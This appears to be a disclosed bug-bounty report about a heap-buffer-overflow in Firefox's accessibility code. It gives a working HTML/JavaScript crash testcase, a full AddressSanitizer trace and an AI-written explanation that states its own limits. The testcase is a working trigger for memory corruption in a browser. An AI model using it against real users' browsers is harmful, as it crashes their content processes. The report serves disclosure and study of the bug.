heap-buffer-overflow in mozilla::a11y::Accessible::InsertChildAt
A crafted HTML page caused a heap-buffer-overflow in Firefox's accessibility code when inserting a child into an array. An attacker could crash the browser's content process, and the report does not claim anything beyond that.
- Fixed in 43 days
- Paid in 41 days
- Disclosed after 43 days
The following testcase crashes the latest ASAN build of Firefox (buildId 20160523171639).
Testcase:
<script> function start() { o2=(new DOMParser()).parseFromString(' inputmode>','text/html'); o5=o2.all[2]; o9=document.createElementNS('http://www.w3.org/1999/xhtml','style'); document.head.appendChild(o9); o13=(new DOMParser()).parseFromString("<header><i>aaaa<style>@font-face</style><link>",'text/html'); o15=o13.all[1];
o16=o13.all[2];
o20=o13.all[6];
o15.innerHTML="<style><image>{}\n* * *{; float: left;>";
o25=o15.querySelectorAll('*')[0];
document.documentElement.appendChild(o25);
window.top.document.body=o16;
o20.style.display='table-column';
o16.style.display='table-header-group';
setTimeout("next()",4);
} function next() { window.top.document.body=o5; o9.appendChild(o20); document.location.reload(true); } </script>
<body onload="start()"></body>ASAN crash:
================================================================= ==29022==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x603000255240 at pc 0x7f3b48a78abf bp 0x7fff714c9500 sp 0x7fff714c94f8 WRITE of size 18446744073709551608 at 0x603000255240 thread T0 (Web Content) #0 0x7f3b48a78abe in MoveElements /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dist/include/nsTArray.h:593 #1 0x7f3b48a78abe in ShiftData<nsTArrayInfallibleAllocator> /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dist/include/nsTArray-inl.h:272 #2 0x7f3b48a78abe in InsertElementAt<mozilla::a11y::Accessible &, nsTArrayInfallibleAllocator> /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dist/include/nsTArray.h:1406 #3 0x7f3b48a78abe in mozilla::a11y::Accessible::InsertChildAt(unsigned int, mozilla::a11y::Accessible) /builds/slave/m-cen-l64-asan-000000000000000/build/src/accessible/generic/Accessible.cpp:2080 #4 0x7f3b48a904b2 in InsertAfter /builds/slave/m-cen-l64-asan-000000000000000/build/src/accessible/generic/Accessible.h:389 #5 0x7f3b48a904b2 in mozilla::a11y::DocAccessible::ProcessContentInserted(mozilla::a11y::Accessible*, nsIContent*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/accessible/generic/DocAccessible.cpp:1826 #6 0x7f3b48a0dbf0 in mozilla::a11y::NotificationController::WillRefresh(mozilla::TimeStamp) /builds/slave/m-cen-l64-asan-000000000000000/build/src/accessible/base/NotificationController.cpp:319 #7 0x7f3b478f8b0f in nsRefreshDriver::Tick(long, mozilla::TimeStamp) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/base/nsRefreshDriver.cpp:1701 #8 0x7f3b47906a6b in mozilla::RefreshDriverTimer::TickRefreshDrivers(long, mozilla::TimeStamp, nsTArray<RefPtr<nsRefreshDriver> >&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/base/nsRefreshDriver.cpp:246 #9 0x7f3b47906650 in mozilla::RefreshDriverTimer::Tick(long, mozilla::TimeStamp) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/base/nsRefreshDriver.cpp:265 #10 0x7f3b47905b34 in mozilla::VsyncRefreshDriverTimer::RefreshDriverVsyncObserver::NotifyVsync(mozilla::TimeStamp) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/base/nsRefreshDriver.cpp:425 #11 0x7f3b4823c660 in mozilla::layout::VsyncChild::RecvNotify(mozilla::TimeStamp const&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/ipc/VsyncChild.cpp:64 #12 0x7f3b42180932 in mozilla::layout::PVsyncChild::OnMessageReceived(IPC::Message const&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/ipc/ipdl/PVsyncChild.cpp:233 #13 0x7f3b41cb520c in mozilla::ipc::PBackgroundChild::OnMessageReceived(IPC::Message const&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/ipc/ipdl/PBackgroundChild.cpp:1890 #14 0x7f3b41be7c33 in mozilla::ipc::MessageChannel::DispatchAsyncMessage(IPC::Message const&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/glue/MessageChannel.cpp:1655 #15 0x7f3b41be4765 in mozilla::ipc::MessageChannel::DispatchMessage(IPC::Message const&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/glue/MessageChannel.cpp:1593 #16 0x7f3b41bd1fd2 in mozilla::ipc::MessageChannel::OnMaybeDequeueOne() /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/glue/MessageChannel.cpp:1560 #17 0x7f3b41bf78d0 in applyImpl<mozilla::ipc::MessageChannel, bool (mozilla::ipc::MessageChannel::)()> /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dist/include/nsThreadUtils.h:707 #18 0x7f3b41bf78d0 in apply<mozilla::ipc::MessageChannel, bool (mozilla::ipc::MessageChannel::)()> /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dist/include/nsThreadUtils.h:713 #19 0x7f3b41bf78d0 in nsRunnableMethodImpl<bool (mozilla::ipc::MessageChannel::)(), false, true>::Run() /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dist/include/nsThreadUtils.h:741 #20 0x7f3b41bf839f in Run /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dist/include/mozilla/ipc/MessageChannel.h:477 #21 0x7f3b41bf839f in mozilla::ipc::MessageChannel::DequeueTask::Run() /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dist/include/mozilla/ipc/MessageChannel.h:496 #22 0x7f3b40e658db in nsThread::ProcessNextEvent(bool, bool) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/threads/nsThread.cpp:1073 #23 0x7f3b40edfe2a in NS_ProcessNextEvent(nsIThread*, bool) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/glue/nsThreadUtils.cpp:290 #24 0x7f3b41bef56e in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/glue/MessagePump.cpp:98 #25 0x7f3b41b6422c in RunInternal /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:235 #26 0x7f3b41b6422c in RunHandler /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:228 #27 0x7f3b41b6422c in MessageLoop::Run() /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:208 #28 0x7f3b47278447 in nsBaseAppShell::Run() /builds/slave/m-cen-l64-asan-000000000000000/build/src/widget/nsBaseAppShell.cpp:156 #29 0x7f3b49293342 in XRE_RunAppShell /builds/slave/m-cen-l64-asan-000000000000000/build/src/toolkit/xre/nsEmbedFunctions.cpp:809 #30 0x7f3b41b6422c in RunInternal /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:235 #31 0x7f3b41b6422c in RunHandler /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:228 #32 0x7f3b41b6422c in MessageLoop::Run() /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:208 #33 0x7f3b49292a21 in XRE_InitChildProcess /builds/slave/m-cen-l64-asan-000000000000000/build/src/toolkit/xre/nsEmbedFunctions.cpp:644 #34 0x48df67 in content_process_main(int, char**) /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/app/../contentproc/plugin-container.cpp:231 #35 0x7f3b3e6a082f in __libc_start_main /build/glibc-GKVZIf/glibc-2.23/csu/../csu/libc-start.c:291 #36 0x48cb3c in _start (/home/nils/fuzzer3/firefox/plugin-container+0x48cb3c)
0x603000255240 is located 32 bytes inside of 32-byte region [0x603000255220,0x603000255240) allocated by thread T0 (Web Content) here: #0 0x4753cb in realloc /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:95 #1 0x48e9fd in moz_xrealloc /builds/slave/m-cen-l64-asan-000000000000000/build/src/memory/mozalloc/mozalloc.cpp:105 #2 0x7f3b40c943bf in Realloc /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dist/include/nsTArray.h:181 #3 0x7f3b40c943bf in nsTArrayInfallibleAllocator::ResultTypeProxy nsTArray_base<nsTArrayInfallibleAllocator, nsTArray_CopyWithMemutils>::EnsureCapacity<nsTArrayInfallibleAllocator>(unsigned long, unsigned long) /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dist/include/nsTArray-inl.h:183 #4 0x7f3b48a786eb in AppendElement<mozilla::a11y::Accessible &, nsTArrayInfallibleAllocator> /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dist/include/nsTArray.h:1584 #5 0x7f3b48a786eb in mozilla::a11y::Accessible::InsertChildAt(unsigned int, mozilla::a11y::Accessible) /builds/slave/m-cen-l64-asan-000000000000000/build/src/accessible/generic/Accessible.cpp:2076 #6 0x7f3b48a904b2 in InsertAfter /builds/slave/m-cen-l64-asan-000000000000000/build/src/accessible/generic/Accessible.h:389 #7 0x7f3b48a904b2 in mozilla::a11y::DocAccessible::ProcessContentInserted(mozilla::a11y::Accessible*, nsIContent*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/accessible/generic/DocAccessible.cpp:1826 #8 0x7f3b48a0dbf0 in mozilla::a11y::NotificationController::WillRefresh(mozilla::TimeStamp) /builds/slave/m-cen-l64-asan-000000000000000/build/src/accessible/base/NotificationController.cpp:319 #9 0x7f3b478f8b0f in nsRefreshDriver::Tick(long, mozilla::TimeStamp) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/base/nsRefreshDriver.cpp:1701 #10 0x7f3b47906a6b in mozilla::RefreshDriverTimer::TickRefreshDrivers(long, mozilla::TimeStamp, nsTArray<RefPtr<nsRefreshDriver> >&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/base/nsRefreshDriver.cpp:246 #11 0x7f3b47906650 in mozilla::RefreshDriverTimer::Tick(long, mozilla::TimeStamp) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/base/nsRefreshDriver.cpp:265 #12 0x7f3b47905b34 in mozilla::VsyncRefreshDriverTimer::RefreshDriverVsyncObserver::NotifyVsync(mozilla::TimeStamp) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/base/nsRefreshDriver.cpp:425 #13 0x7f3b4823c660 in mozilla::layout::VsyncChild::RecvNotify(mozilla::TimeStamp const&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/layout/ipc/VsyncChild.cpp:64 #14 0x7f3b42180932 in mozilla::layout::PVsyncChild::OnMessageReceived(IPC::Message const&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/ipc/ipdl/PVsyncChild.cpp:233 #15 0x7f3b41cb520c in mozilla::ipc::PBackgroundChild::OnMessageReceived(IPC::Message const&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/ipc/ipdl/PBackgroundChild.cpp:1890 #16 0x7f3b41be7c33 in mozilla::ipc::MessageChannel::DispatchAsyncMessage(IPC::Message const&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/glue/MessageChannel.cpp:1655 #17 0x7f3b41be4765 in mozilla::ipc::MessageChannel::DispatchMessage(IPC::Message const&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/glue/MessageChannel.cpp:1593 #18 0x7f3b41bd1fd2 in mozilla::ipc::MessageChannel::OnMaybeDequeueOne() /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/glue/MessageChannel.cpp:1560 #19 0x7f3b41bf78d0 in applyImpl<mozilla::ipc::MessageChannel, bool (mozilla::ipc::MessageChannel::)()> /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dist/include/nsThreadUtils.h:707 #20 0x7f3b41bf78d0 in apply<mozilla::ipc::MessageChannel, bool (mozilla::ipc::MessageChannel::)()> /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dist/include/nsThreadUtils.h:713 #21 0x7f3b41bf78d0 in nsRunnableMethodImpl<bool (mozilla::ipc::MessageChannel::)(), false, true>::Run() /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dist/include/nsThreadUtils.h:741 #22 0x7f3b41bf839f in Run /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dist/include/mozilla/ipc/MessageChannel.h:477 #23 0x7f3b41bf839f in mozilla::ipc::MessageChannel::DequeueTask::Run() /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dist/include/mozilla/ipc/MessageChannel.h:496 #24 0x7f3b40e658db in nsThread::ProcessNextEvent(bool, bool) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/threads/nsThread.cpp:1073 #25 0x7f3b40edfe2a in NS_ProcessNextEvent(nsIThread*, bool) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/glue/nsThreadUtils.cpp:290 #26 0x7f3b41bef56e in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/glue/MessagePump.cpp:98 #27 0x7f3b41b6422c in RunInternal /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:235 #28 0x7f3b41b6422c in RunHandler /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:228 #29 0x7f3b41b6422c in MessageLoop::Run() /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:208 #30 0x7f3b47278447 in nsBaseAppShell::Run() /builds/slave/m-cen-l64-asan-000000000000000/build/src/widget/nsBaseAppShell.cpp:156 #31 0x7f3b49293342 in XRE_RunAppShell /builds/slave/m-cen-l64-asan-000000000000000/build/src/toolkit/xre/nsEmbedFunctions.cpp:809 #32 0x7f3b41b6422c in RunInternal /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:235 #33 0x7f3b41b6422c in RunHandler /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:228 #34 0x7f3b41b6422c in MessageLoop::Run() /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:208 #35 0x7f3b49292a21 in XRE_InitChildProcess /builds/slave/m-cen-l64-asan-000000000000000/build/src/toolkit/xre/nsEmbedFunctions.cpp:644 #36 0x48df67 in content_process_main(int, char**) /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/app/../contentproc/plugin-container.cpp:231 #37 0x7f3b3e6a082f in __libc_start_main /build/glibc-GKVZIf/glibc-2.23/csu/../csu/libc-start.c:291
SUMMARY: AddressSanitizer: heap-buffer-overflow /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dist/include/nsTArray.h:593 MoveElements Shadow bytes around the buggy address: 0x0c06800429f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c0680042a00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c0680042a10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c0680042a20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c0680042a30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa =>0x0c0680042a40: fa fa fa fa 00 00 00 00[fa]fa 00 00 00 06 fa fa 0x0c0680042a50: fd fd fd fd fa fa fd fd fd fd fa fa fd fd fd fd 0x0c0680042a60: fa fa fd fd fd fd fa fa fd fd fd fa fa fa fd fd 0x0c0680042a70: fd fd fa fa fd fd fd fa fa fa fd fd fd fd fa fa 0x0c0680042a80: fd fd fd fa fa fa fd fd fd fd fa fa fd fd fd fd 0x0c0680042a90: fa fa fd fd fd fd fa fa fd fd fd fd fa fa fd fd Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap right redzone: fb Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Contiguous container OOB:fc ASan internal: fe ==29022==ABORTING
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely an out-of-range index passed to InsertChildAt, causing the array insertion to write outside its allocated buffer.
Impact
The overflow crashes the content process; the report does not show code execution or any other impact.
What the attacker needed
Victim opens a crafted page; accessibility code processes the page
How it was found
- Load the testcase page in an ASAN build of Firefox.
- The page builds and rearranges DOM nodes, including style and table display changes.
- After a short timeout, the page reloads itself.
- The accessibility notification processing then inserts a child and triggers the overflow.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A browser stores parts of a page in lists. Here, a list in the accessibility code was told to insert an item at a position that was too large, so the code wrote past the end of the list's memory. The result is a crash of the page's process, not a way to run code.
What is Memory corruption?
Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.